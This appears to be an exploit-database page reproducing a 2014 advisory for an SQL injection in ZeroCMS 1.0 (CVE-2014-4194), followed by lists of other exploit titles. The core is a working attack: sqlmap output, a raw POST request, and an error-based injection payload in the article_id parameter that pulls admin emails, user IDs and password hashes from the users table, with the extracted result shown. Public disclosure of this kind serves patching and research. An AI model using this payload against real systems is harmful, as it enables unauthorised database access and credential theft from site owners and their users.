Menu

Search for hundreds of thousands of exploits

"ZeroCMS 1.0 - 'zero_transact_article.php' SQL Injection"

Author

Exploit author

"Filippos Mastrogiannis"

Platform

Exploit platform

php

Release date

Exploit published date

2014-06-23

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
ZeroCMS v1.0 SQL Injection Vulnerability (zero_transact_article.php article_id POST parameter)

Vendor: Another Awesome Stuff
Product web page: http://www.aas9.in/zerocms
Affected version: 1.0
Severity: High
CWE: 89 - http://cwe.mitre.org/data/definitions/89.html
CVE: CVE-2014-4194
Date: 20/06/2014

Discovered by: Filippos Mastrogiannis (@filipposmastro)

--------------------------------------------------------

ZeroCMS is a very simple Content Management System Built using PHP and MySQL.

Description: ZeroCMS v1.0 is vulnerable to SQL Injection.

The user input which is passed via the "article_id" POST parameter of "zero_transact_article.php"
is not properly sanitised allowing the attacker to inject arbitrary sql code and to
execute queries to the database in order to extract sensitive information (e.g. credentials) and/or
to take over the database/system.

Proof Of Concept:

A part of the sqlmap output:

POST parameter 'article_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Place: POST
Parameter: article_id
..
...
....
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0
[XX:XX:XX] [INFO] fetching current database
current database:    'zero'
..
...
....
--------------------------------------------------------

Proof Of Concept:

Request:

POST /zerocms/zero_transact_article.php HTTP/1.1
Cache-Control: no-cache
Referer: http://[Removed]/zerocms/zero_comment.php?article_id=9
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Accept-Language: en-us,en;q=0.5
Host: [Removed]
Cookie: PHPSESSID=[Removed]
Accept-Encoding: gzip, deflate
Content-Length: 53
Content-Type: application/x-www-form-urlencoded

action=Submit+Comment&article_id='&comment_text=3

Response:

HTTP/1.1 200 OK
Date: [Removed]
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Expires: [Removed]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 226
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', 3, "2014-XX-XX XX:XX:XX", ' at line 4

--------------------------------------------------------

Exploitation:

For example if we want to extract: user_id, email, password from the database use the following payload in the article_id parameter of the POST request:

action=Submit+Comment&article_id=5+and+(select 1 FROM(select count(*),concat((select+concat(email,0x3a,user_id,0x3a,password,0x3a) FROM zero_users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)&comment_text=3

(The database name in our setup is: zero & the session is from an authenticated user)

If we look at the response we can see the extracted data:

Duplicate entry 'admin@domain.com:1:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:1' for key 'group_key'
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2017-01-27 "Radisys MRF - Command Injection" webapps cgi "Filippos Mastrogiannis"
2015-07-20 "phpVibe < 4.20 - Persistent Cross-Site Scripting" webapps php "Filippos Mastrogiannis"
2015-07-16 "WordPress Plugin Download Manager Free 2.7.94 & Pro 4 - (Authenticated) Persistent Cross-Site Scripting" webapps php "Filippos Mastrogiannis"
2014-06-23 "ZeroCMS 1.0 - 'zero_transact_article.php' SQL Injection" webapps php "Filippos Mastrogiannis"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.